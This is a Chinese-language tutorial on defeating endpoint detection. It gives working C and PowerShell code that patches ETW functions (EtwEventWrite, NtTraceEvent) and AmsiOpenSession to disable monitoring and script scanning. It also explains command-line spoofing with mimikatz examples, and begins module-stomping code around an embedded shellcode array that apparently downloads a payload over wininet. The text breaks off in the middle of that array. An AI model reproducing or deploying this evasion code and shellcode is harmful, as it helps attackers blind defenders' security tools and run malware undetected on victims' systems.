从EDR特性出发到对抗EDR

大家可能都了解``EDR``的一些特性,包括一些内存扫描,用户态挂钩,调用堆栈分析以及签名扫描等等。这一节我们将来看看如何对抗``EDR``。
命令行参数欺骗

EDR通过大量的传感器来接收事件,这些传感器的可信度是各不相同的。此外,许多与进程相关的重要信息并不会直接包含在事件数据中。而是需要从内核或进程的内存空间中去获取。

例如: PEB: PEB中包含了命令行参数以及父进程的ID等信息。

很多针对EDR的攻击都是依赖于TOCTOU漏洞,该漏洞为检查时刻与使用时刻之间的时间差,这意味着EDR在检查某个事件时,可能会基于旧数据进行决策。攻击者可以在事件被检测之后,被使用之前,修改关键数据,从而绕过安全检查。

什么意思呢?TOCTOU漏洞其实就是检查时间和使用时间的间隔,其实就是一种竞态条件漏洞。指的是系统在检查某个资源时和实际使用该资源之间的事件间隔。攻击者可以在该时间间隔来修改资源,从而绕过。

我们来举一个例子:

进程启动之后,EDR可能会检查其PEB结构中的命令行参数,攻击者可以利用EDR检测之后来修改PEB中的命令行参数,改变程序的行为。EDR可能记录了启动时的参数,但执行时参数已经发生变化,导致检测失效。

EDR可以通过进程启动时的参数来判断是否是恶意行为。比如我们使用mimikatz.exe来导出凭据的时候,可能会使用mimikatz.exe "privilege::debug" "lsadump::sam"该命令。

即使攻击者将mimikatz.exe修改为notepad.exe或者一些合法且正常程序的名称,但是命令行参数依然会暴露出恶意的行为。

那么EDR是如何去检测命令行的呢?EDR可以监控新进程的命令行参数,在Windows上可以使用Event ID 4688来捕获进程启动时的完整命令行。

EDR维护了一个已知恶意参数的列表,比如"privilege::debug"、"sekurlsa::logonpasswords",如果发现这些关键字就会触发警报。

而在Windows中命令行参数是可以伪造的,进程的命令行参数是存储在PEB中的,攻击者可以在进程启动后去修改PEB->ProcessParameters->CommandLine,从而伪造命令行参数。

如果使用CreateProcess函数,在启动新进程时会包含初始的参数,但是这些参数是不会被内核强制验证的,攻击者可以利用不同的方式来伪造或隐藏真实的参数。

Windows进程的命令行参数主要存储在两个地方:

  1. 当进程启动时,它的命令行参数会存储在PEB中,PEB->ProcessParameters->CommandLine,攻击者可以在进程启动后来修改这个值,从而伪造命令行参数。
  2. Windows中,父进程创建子进程时,通常会调用CreateProcess函数,该函数可以指定初始化的参数。

由于PEB可被进程自身来进行更改,所以其中的数据是不可信的,但是EDR在查询进程的命令行时,通常会直接信任PEB中的CommandLine,这可能导致被攻击者伪造或隐藏真实参数绕过。

当父进程调用CreateProcess来创建一个子进程时,操作系统会启动新的子进程。CreateProcess函数会接收命令行参数,比如启动子进程时传递的文件名以及命令,并将这些参数保存到进程的PEB中。EDR可以通过监控CreateProcess事件并检查命令行参数来检测潜在的恶意行为。但是攻击者可以通过如下来绕过EDR:

  1. 父进程首先创建一个挂起状态的子进程,首先传递虚假的命令行参数。
  2. EDR捕获到进程事件时,会看到虚假的命令行参数。
  3. 父进程随后修改子进程的PEB,将真实的命令行参数写入到其中,然后继续启动子进程。

我们来拿上几节的参数欺骗举例子:

如下可以看到成功欺骗了该Process Hacker

image.png
成功欺骗Sysmon

image.png

Bypass ETW

ETW是一种Windows内核和应用程序级的事件跟踪机制,允许捕获系统运行时的事件,EtwEventWrite函数是用于生成这些事件的函数。当恶意软件或攻击者希望隐藏进程的活动或避免监控时,他们可能会使用ETW补丁技术来拦截或修改EtwEventWrite函数,从而阻止进程生成ETW事件。

有几个函数是用于写入和记录ETW事件的。分别为EtwEventWriteEtwEventWriteFullEtwEventWriteTransfer函数。

我们可以在这三个目标函数的开头去插入一个ret的指令,那么当这三个函数被调用时,执行就会立即返回给调用者,而无需运行原始函数的代码逻辑。

也就是说我们只需要在EtwEventWrite函数的开头去插入xor eax,eax指令,将其返回值设置为零,然后插入ret指令,使函数立即返回即可。

那么接下来修补就很简单了,我们只需要获取到EtwEventWrite以及EtwEventwriteFull函数的基址,然后修改其内存保护权限为RWX,最后将我们的指令插入进去即可。

代码这里有一个简单的例子:

#include <windows.h>
#include <stdio.h>
#include <evntprov.h>
typedef enum {
    PATCH_ETW_EVENTWRITE,
    PATCH_ETW_EVENTWRITE_FULL
} PATCH;

unsigned char patch[] = { 0x33, 0xC0, 0xC3 };

void* GetTargetFunction(PATCH patchType) {
    if (patchType == PATCH_ETW_EVENTWRITE) {
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
    }
    else if (patchType == PATCH_ETW_EVENTWRITE_FULL) {
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull");
    }
    return NULL;
}

void PatchwWriteFunc(PATCH patchType) {
    void* targetFunction = GetTargetFunction(patchType);
    if (targetFunction == NULL) {
        printf("目标函数地址获取失败\n");
        return;
    }

    DWORD oldProtect;
    if (!VirtualProtect(targetFunction, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("无法修改内存保护属性\n");
        return;
    }

    memcpy(targetFunction, patch, sizeof(patch));

    VirtualProtect(targetFunction, sizeof(patch), oldProtect, &oldProtect);
    printf("address : 0x%p ", targetFunction);

    printf("修补成功\n");
}

int main() {
    PatchwWriteFunc(PATCH_ETW_EVENTWRITE);
    getchar();
    return 0;
}

我们可以从x64dbg中得知已经插入成功了。

image.png
需要注意的是虽然我们成功修补了该函数,但是由于常见的用户态ETW事件其实并不多,所以它的实际作用也不会那么显著。

还有一个函数是NtTraceEvent函数,该函数不仅会被EtwEventWriteEtwEventWriteFull函数调用,还会被其他的Etw相关的函数调用,所以我们要修补该函数。那么我们也可以通过上面的方式来进行修改,这里还有另外一种方式就是通过修改SSN编号来达到调用失败的目的,我们可以将其NtTraceEvent函数的SSN编号修改为FF,它就无法调用了。

那么首先需要找到该函数的SSN编号,最后通过VirtualProtect修改内存保护权限,然后将我们的SSN编号写进去即可。

#include <windows.h>
#include <stdio.h>
#include <evntprov.h>
typedef enum {
    PATCH_NT_TRACE_EVENT,
    PATCH_ETW_EVENTWRITE,
    PATCH_ETW_EVENTWRITE_FULL
} PATCH;

unsigned char patch[] = { 0x33, 0xC0, 0xC3 };
void* GetTargetFunction(PATCH patchType) {
    switch (patchType) {
    case PATCH_NT_TRACE_EVENT:
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    case PATCH_ETW_EVENTWRITE:
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
    case PATCH_ETW_EVENTWRITE_FULL:
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull");
    default:
        return NULL;
    }
}
// 修补 NtTraceEvent 的 SSN
void PatchNtTraceEventSSN() {
    // 获取 NtTraceEvent 函数地址
    void* targetFunction = GetTargetFunction(PATCH_NT_TRACE_EVENT);
    if (targetFunction == NULL) {
        printf("目标函数地址获取失败\n");
        return;
    }

    // 搜索 B8 操作码,类似于 mov eax 指令
    unsigned char* functionStart = (unsigned char*)targetFunction;
    unsigned char* functionEnd = functionStart + 0x20; // 假设函数前20字节包含 SSN
    for (unsigned char* p = functionStart; p < functionEnd; ++p) {
        if (*p == 0xB8) { // 找到 mov eax 操作码
            DWORD oldProtect;
            if (!VirtualProtect(p, 6, PAGE_EXECUTE_READWRITE, &oldProtect)) {
                printf("无法修改内存保护属性\n");
                return;
            }

            // 修改 SSN 为 0xFF(无效值)
            *(DWORD*)(p + 1) = 0xFF;

            // 恢复内存保护属性
            VirtualProtect(p, 6, oldProtect, &oldProtect);
            printf("修补成功\n");
            return;
        }
    }

    printf("未找到 B8 操作码\n");
}

int main() {
    PatchNtTraceEventSSN();
    getchar();
    return 0;
}

image.png
那么我们再看观察一下EtwEventWrite EtwEventWriteFull EtwEventWriteEx函数。

我们会发现这三个函数最终都会调用到0x7FFC217C00B4这个地址。

image.png

image.png
那么该地址其实对应的是EtwpEventWirteFull函数,但是该函数是在x64dbg中看不到的,我们可以在Ida中查看,这里我就不给大家看了,大家可以自行去查看。

那么我们就可以修补该函数来达到Bypass Etw的效果。我们可以直接将其call指令替换为nop指令。call指令是1个字节,那么后面如果跟地址的话,地址是4个字节,也就是说我们如果想要去替换call指令,那么至少肯定是需要5个字节的。nop指令的操作码是90

如下代码:

#include <windows.h>
#include <stdio.h>

// 定义各种指令的操作码
#define x64_CALL_INSTRUCTION_OPCODE 0xE8     // CALL 指令的操作码
#define x64_RET_INSTRUCTION_OPCODE 0xC3      // RET 指令的操作码
#define x64_INT3_INSTRUCTION_OPCODE 0xCC     // INT3 指令的操作码 (用于断点)
#define NOP_INSTRUCTION_OPCODE 0x90         // NOP 指令的操作码 (空操作)
#define PATCH_SIZE 0x05                     // 补丁大小,5 字节

// 定义补丁类型的枚举,用于指定要修补的函数
enum PATCH {
    PATCH_NT_TRACE_EVENT,                 // NtTraceEvent (示例中未使用)
    PATCH_ETW_EVENTWRITE,                 // EtwEventWrite
    PATCH_ETW_EVENTWRITE_FULL             // EtwEventWriteFull
};

// 函数声明
void* GetTargetFunction(enum PATCH patchType);
BOOL PatchCallInstruction(void* pFunction);

// 获取目标函数的地址,根据不同的补丁类型
void* GetTargetFunction(enum PATCH patchType) {
    switch (patchType) {
    case PATCH_ETW_EVENTWRITE:
        // 获取 "ntdll.dll" 模块中的 "EtwEventWrite" 函数地址
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
    case PATCH_ETW_EVENTWRITE_FULL:
        // 获取 "ntdll.dll" 模块中的 "EtwEventWriteFull" 函数地址
        return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull");
    default:
        // 如果没有匹配的补丁类型,返回 NULL
        return NULL;
    }
}

// 修补函数,通过修改 CALL 指令来注入 NOP 指令(无操作)
BOOL PatchCallInstruction(void* pFunction) {
    int i = 0;
    DWORD dwOldProtection = 0x00;           // 保存原来的内存保护标志
    PBYTE pFuncAddress = (PBYTE)pFunction;  // 将函数地址转换为字节指针

    // 查找 'ret' 指令和 'int3' 指令的位置
    while (1) {
        if (pFuncAddress[i] == x64_RET_INSTRUCTION_OPCODE && pFuncAddress[i + 1] == x64_INT3_INSTRUCTION_OPCODE) {
            printf("[*] Found 'ret' instruction at address: %p\n", &pFuncAddress[i]);
            break;
        }
        i++;
    }

    // 向后查找 CALL 指令
    while (i) {
        if (pFuncAddress[i] == x64_CALL_INSTRUCTION_OPCODE) {
            pFuncAddress = (PBYTE)&pFuncAddress[i];
            printf("[*] Found 'call' instruction at address: %p\n", &pFuncAddress[i]);
            break;
        }
        i--;
    }

    // 将内存权限更改为 RWX(可读写执行),以便修改代码
    if (!VirtualProtect(pFuncAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect [1] failed with error %d \n", GetLastError());
        return FALSE;
    }

    // 将目标地址处的指令替换为 NOP 指令,实际上就是跳过这些指令
    for (int j = 0; j < PATCH_SIZE; j++) {
        pFuncAddress[j] = NOP_INSTRUCTION_OPCODE; // 通过 NOP 指令实现跳过
    }

    // 恢复原来的内存保护
    if (!VirtualProtect(pFuncAddress, PATCH_SIZE, dwOldProtection, &dwOldProtection)) {
        printf("[!] VirtualProtect [2] failed with error %d \n", GetLastError());
        return FALSE;
    }
    return TRUE;
}

int main() {
    // 获取 "EtwEventWrite" 函数的地址
    void* pNtTraceEvent = GetTargetFunction(PATCH_ETW_EVENTWRITE);

    // 对该函数进行修补,替换为 NOP 指令
    PatchCallInstruction(pNtTraceEvent);

    // 等待用户输入
    getchar();

    return 0;
}

image.png

Bypass AMSI

AMSIWindows中的一项功能,它是一个反恶意软件扫描的接口,AMSI的目的是将应用程序与反恶意软件产品提供的常见软件扫描和保护技术无缝的集成在一起。它能够与流行的脚本语言,比如powershell,jscript vbscript紧密集合。

AMSI是基于签名来检查的,这意味着AMSI有一个非常庞大的签名库。其实就是签名字符串,这些签名会和一些特定的恶意关键字,URL,函数来相对应。AMSI是作为一个安全功能来存在的,它不会依赖于任何第三方恶意软件供应商来进行检测和防护。它可以和第三方反病毒产品协同合作,但是它不会依赖于第三方反病毒软件的签名库,因为它有自己的签名库。

AMSI是通过使用AMSI相关的API函数来进行扫描和检测工作。这些API都是从amsi.dll中导出的。这个dll会被注入到目标程序的虚拟内存中,以启动扫描和检测潜在的风险。

这里简单了解几个函数:

  1. AmsiOpenSession函数: 该函数用于启动一个AMSI的会话,以便随后可以扫描和分析其内容,具体来说AmsiOpenSession会创建一个会话的句柄。
  2. AmsiScanBuffer函数: 该函数用于将一个内存缓冲区提交给AMSI进行扫描,该缓冲区可以是任何内容,比如脚本,文件内容,内存数据等等。
  3. AmsiScanString函数: 该函数还会将一个字符串提交给Amsi进行扫描,该字符串可以包含脚本,命令或文本数据,Amsi会对其字符串进行分析,并返回指示其是否包含恶意内容的结果。

前面说过,amsi.dll会被注入到目标进程的虚拟地址空间中,那么哪些进程会被注入呢?比如powershell,cscript,jscript等等。
如下图:

image.png
我们可以在这如上的三个函数中下断点,看是否会调用到这三个函数。

image.png
当我们执行invoke-mimikatz命令时:

断点会在AmsiOpenSession这里断下。

image.png
接下来会在AmsiScanString这个函数这里断下。

image.png
如下被拦截下那么将产生 "已被你的防病毒软件阻止"。

image.png
一般我们可以使用如下来混淆powershell脚本:
https://amsi.fail/
那么修补AMSI其实和修补ETW是差不多的,但是在这之前我们需要注意的是如果Defender没有开启,那么Amsi将没有任何作用。

比如我们将其Defender关闭:

image.png
那么如果将其打开,会发现检测到了。

image.png
在修补Amsi相关函数之前,我们来首先来看看AmsiOpenSession函数。

image.png
这段汇编主要是检测参数的有效性,首先检查传入的参数rdxrcx寄存器是否为空,验证rcx寄存器指向的结构是否是AMSI相关的数据,以及检查结构体内的关键指针是否为NULL

如果任意的条件不满足则会跳转到7FFC1A9D23FB该地址,该地址的汇编指令用于错误处理和直接返回。

那么修补的话就很简单了,我们只需要在提供有效参数的同时,让他跳转到7FFC1A9D23FB地址即可。

那么我们可以将je指令修改为jne指令,je指令是当比较两个值相等时,执行跳转。而jne指令是比较两个值不相等时执行跳转。

如下代码:

#include <windows.h>
#include <stdio.h>

// 定义 x64 汇编指令的操作码(opcode)
#define x64_RET_INSTRUCTION_OPCODE 0xC3  // `RET`(函数返回)
#define x64_INT3_INSTRUCTION_OPCODE 0xCC // `INT3`(调试中断)
#define x64_JE_INSTRUCTION_OPCODE 0x74   // `JE`(等于时跳转)
#define x64_JNE_INSTRUCTION_OPCODE 0x75  // `JNE`(不等时跳转)

/**
 * @brief  修改 AmsiOpenSession 使其绕过安全检测
 * @param  pAmsiOpenSession 指向 AmsiOpenSession 函数代码的指针
 * @return 成功返回 TRUE,失败返回 FALSE
 */
BOOL PatchAmsiOpenSessionJe(IN PBYTE pAmsiOpenSession) {
    PBYTE px74Opcode = NULL;  // 用于存储 `JE` 指令的位置
    DWORD i = 0x00, dwOldProtection = 0x00;  // `i` 用于遍历代码,`dwOldProtection` 存储原始内存保护

    if (!pAmsiOpenSession) {  // 如果 `pAmsiOpenSession` 为空,则返回 `FALSE`
        return FALSE;
    }

    // **第一步:找到 `AmsiOpenSession` 末尾的 `RET; INT3; INT3` 结构**
    while (1) {
        if (pAmsiOpenSession[i] == x64_RET_INSTRUCTION_OPCODE &&       // `RET`
            pAmsiOpenSession[i + 1] == x64_INT3_INSTRUCTION_OPCODE &&  // `INT3`
            pAmsiOpenSession[i + 2] == x64_INT3_INSTRUCTION_OPCODE) {  // `INT3`
            break;  // 找到 `AmsiOpenSession` 代码末尾,退出循环
        }
        i++;
        if (i > 0x1000) {  // 限制搜索范围,防止死循环
            return FALSE;
        }
    }

    // **第二步:从 `RET` 向前查找 `JE` 指令**
    while (i) {
        if (pAmsiOpenSession[i] == x64_JE_INSTRUCTION_OPCODE) {  // 查找 `JE`(0x74)
            px74Opcode = &pAmsiOpenSession[i];  // 记录 `JE` 的内存地址
            break;
        }
        i--;
    }

    if (!px74Opcode) {  // 如果没有找到 `JE` 指令,返回 `FALSE`
        return FALSE;
    }

    // **第三步:修改内存保护,使其可写**
    if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        return FALSE;
    }

    // **第四步:修改 `JE` 为 `JNE`**
    *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;  // 将 `0x74` 改为 `0x75`

    // 确保修改成功
    if (*(BYTE*)px74Opcode != x64_JNE_INSTRUCTION_OPCODE) {
        return FALSE;
    }

    // **第五步:恢复内存保护**
    if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection)) {
        return FALSE;
    }

    return TRUE;  // 修改成功
}

int main() {
    // **第一步:加载 `amsi.dll`**
    if (!LoadLibrary(TEXT("amsi.dll"))) {
        return -1;  // 加载失败
    }

    // **第二步:获取 `AmsiOpenSession` 的地址**
    PVOID pAmsiOpenSession = GetProcAddress(GetModuleHandle(TEXT("amsi.dll")), "AmsiOpenSession");
    if (!pAmsiOpenSession) {
        return -1;  // 获取失败
    }

    // **第三步:修改 `AmsiOpenSession` 的 `JE` 指令**
    if (PatchAmsiOpenSessionJe((PBYTE)pAmsiOpenSession)) {
        printf("Patch success!\n");  // 修改成功
    } else {
        printf("Patch error!\n");  // 修改失败
    }

    getchar();  // 等待用户输入
    return 0;
}

image.png
那么我们也可以使用powershell来进行编写如上代码:

重命名为: invoke.ps1执行即可。

$Win32API = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type -TypeDefinition $Win32API -PassThru

# 加载 amsi.dll
$amsi = [Win32]::LoadLibrary("amsi.dll")
if ($amsi -eq [IntPtr]::Zero) {
    Write-Host "[-] 无法加载 amsi.dll"
    exit
}

# 获取 AmsiOpenSession 的地址
$amsiOpenSession = [Win32]::GetProcAddress($amsi, "AmsiOpenSession")
if ($amsiOpenSession -eq [IntPtr]::Zero) {
    Write-Host "[-] 无法找到 AmsiOpenSession"
    exit
}

Write-Host "[*] AmsiOpenSession 地址: $([Convert]::ToString($amsiOpenSession.ToInt64(), 16))"

# 修改内存保护,使其可写
$oldProtect = 0
[Win32]::VirtualProtect($amsiOpenSession, 0x1000, 0x40, [ref]$oldProtect)

# 初始化变量
$i = 0
$foundJE = $false
$maxSearch = 0x1000  # 限制搜索范围

# 第一轮:寻找 `RET` + `INT3` + `INT3` 的模式(即结束标记)
while ($i -lt $maxSearch) {
    $byte = New-Object byte[] 3
    $currentAddress = [System.IntPtr]::Add($amsiOpenSession, $i)  # 使用 IntPtr.Add 来处理偏移
    [System.Runtime.InteropServices.Marshal]::Copy($currentAddress, $byte, 0, 3)

    # 检查是否匹配 `RET` + `INT3` + `INT3`
    if ($byte[0] -eq 0xC3 -and $byte[1] -eq 0xCC -and $byte[2] -eq 0xCC) {
        Write-Host "[*] 找到 `RET` + `INT3` + `INT3`,退出查找"
        break
    }

    $i++
}

# 第二轮:从 `RET` 向前查找 `JE` 指令(0x74while ($i -gt 0) {
    $byte = New-Object byte[] 1
    $currentAddress = [System.IntPtr]::Add($amsiOpenSession, $i)  # 使用 IntPtr.Add 来处理偏移
    [System.Runtime.InteropServices.Marshal]::Copy($currentAddress, $byte, 0, 1)

    if ($byte[0] -eq 0x74) {  # 0x74 = `JE`
        Write-Host "[*] 找到 `JE` 指令,开始修改..."

        # 修改为 `JNE`(0x75)
        $newBytes = [byte[]] (0x75)  # 0x75 = `JNE`
        [System.Runtime.InteropServices.Marshal]::Copy($newBytes, 0, $currentAddress, 1)
        Write-Host "[+] 修改成功!AMSI 已绕过!"
        $foundJE = $true
        break
    }

    $i--
}

# 如果没有找到 `JE` 指令
if (-not $foundJE) {
    Write-Host "[-] 未找到 `JE` 指令,修改失败!"
}

# 还原内存保护
[Win32]::VirtualProtect($amsiOpenSession, 0x1000, $oldProtect, [ref]$null)

在没有执行之前:

image.png
执行之后:

image.png
我们再来看看powershell中加载的amsi

image.png

模块踩踏

模块踩踏主要是将shellcode注入到合法DLL.text部分。这样我们就不需要去申请内存了,之前我们是通过VirtualAlloc申请私有内存,将shellcode写入到其中。

.text部分是通常包含了可执行的代码,那么攻击者就可以覆盖其这部分代码,将合法的代码替换为shellcode

那么首先肯定是需要去加载某个DLL文件的,一般我们会使用LoadLibrary函数去动态加载DLL,但是这会出现一个问题,通过LoadLibrary函数去动态加载DLL会受到控制流(CFG)的限制。CFG会组织执行未经过签名的和验证的代码。

这里可以使用NtCreateSection函数以及NtMapViewOfSection函数来手动映射DLL文件,这可以确保映射的内存区域为SEC_IMAGE权限。

NtCreateSection函数用于创建一个节对象,该对象可以用于映射内存,节对象可以是文件,物理内存。

NtMapViewOfSection函数用于将一个节对象映射到当前进程或另外的进程地址空间中。

如下代码:

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

// 手动定义 SECTION_INHERIT
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

// NtCreateSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtCreateSection)(
    PHANDLE SectionHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    PLARGE_INTEGER MaximumSize OPTIONAL,
    ULONG SectionPageProtection,
    ULONG AllocationAttributes,
    HANDLE FileHandle OPTIONAL
    );

// NtMapViewOfSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset OPTIONAL,
    PSIZE_T ViewSize,
    SECTION_INHERIT InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
    );
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)

int main() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    HANDLE  hFile = INVALID_HANDLE_VALUE;
    hFile = CreateFileW(L"C:\\Windows\\System32\\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
    PHANDLE  hSection = NULL;
    NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile);
    ULONG_PTR uMappedModule = NULL;
    SIZE_T  sViewSize = NULL;
    NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE);   
}

image.png
加载DLL之后,我们需要去验证一下DLL.text部分是否可以容纳我们的shellcode。需要注意的是我们不会在.text部分的开头去注入shellcode,而是在入口点注入,入口点是程序开始执行的地址,通过在入口点注入shellcoe,可以确保当程序执行时,会首先执行我们的shellcode

如下代码:

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

// 手动定义 SECTION_INHERIT
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

// NtCreateSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtCreateSection)(
    PHANDLE SectionHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    PLARGE_INTEGER MaximumSize OPTIONAL,
    ULONG SectionPageProtection,
    ULONG AllocationAttributes,
    HANDLE FileHandle OPTIONAL
    );

// NtMapViewOfSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset OPTIONAL,
    PSIZE_T ViewSize,
    SECTION_INHERIT InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
    );
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define DEMON

#ifdef DEMON
unsigned char shellcode[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
    0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
    0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78,
    0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67,
    0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56,
    0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24,
    0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41,
    0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83,
    0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF,
    0xFF, 0xFF, 0x5D, 0x6A, 0x00, 0x49, 0xBE, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x00, 0x41,
    0x56, 0x49, 0x89, 0xE6, 0x4C, 0x89, 0xF1, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x48,
    0x31, 0xC9, 0x48, 0x31, 0xD2, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x41, 0x50, 0x41, 0x50, 0x41,
    0xBA, 0x3A, 0x56, 0x79, 0xA7, 0xFF, 0xD5, 0xEB, 0x73, 0x5A, 0x48, 0x89, 0xC1, 0x41, 0xB8, 0x61,
    0x1F, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x41, 0x51, 0x6A, 0x03, 0x41, 0x51, 0x41, 0xBA,
    0x57, 0x89, 0x9F, 0xC6, 0xFF, 0xD5, 0xEB, 0x59, 0x5B, 0x48, 0x89, 0xC1, 0x48, 0x31, 0xD2, 0x49,
    0x89, 0xD8, 0x4D, 0x31, 0xC9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xBA, 0xEB,
    0x55, 0x2E, 0x3B, 0xFF, 0xD5, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC3, 0x50, 0x6A, 0x0A, 0x5F, 0x48,
    0x89, 0xF1, 0x48, 0x89, 0xDA, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x31, 0xC9, 0x52,
    0x52, 0x41, 0xBA, 0x2D, 0x06, 0x18, 0x7B, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x9D, 0x01, 0x00,
    0x00, 0x48, 0xFF, 0xCF, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0xEB, 0xD3, 0xE9, 0xE4, 0x01, 0x00,
    0x00, 0xE8, 0xA2, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0x47, 0x6B, 0x31, 0x00, 0xC4, 0x8F, 0x78, 0xBD,
    0x62, 0x9C, 0xBC, 0x6F, 0xEA, 0x30, 0x98, 0x43, 0xEF, 0xC1, 0x45, 0xE5, 0x58, 0xF8, 0xBB, 0xEA,
    0xAB, 0x02, 0xF3, 0x0A, 0x13, 0x81, 0xE9, 0xA3, 0x1E, 0x54, 0xF2, 0x5E, 0x08, 0x98, 0x21, 0xFB,
    0x7D, 0x47, 0x10, 0xBA, 0x60, 0xA0, 0x83, 0x82, 0xFE, 0x10, 0x64, 0xBF, 0x7A, 0xD0, 0xF6, 0xCE,
    0xA0, 0xA9, 0x59, 0x90, 0x54, 0x88, 0x88, 0xDA, 0x20, 0xBF, 0x82, 0xFA, 0xAA, 0x43, 0x6D, 0x8E,
    0x45, 0x59, 0x13, 0x09, 0x16, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2D, 0x41, 0x67, 0x65, 0x6E, 0x74,
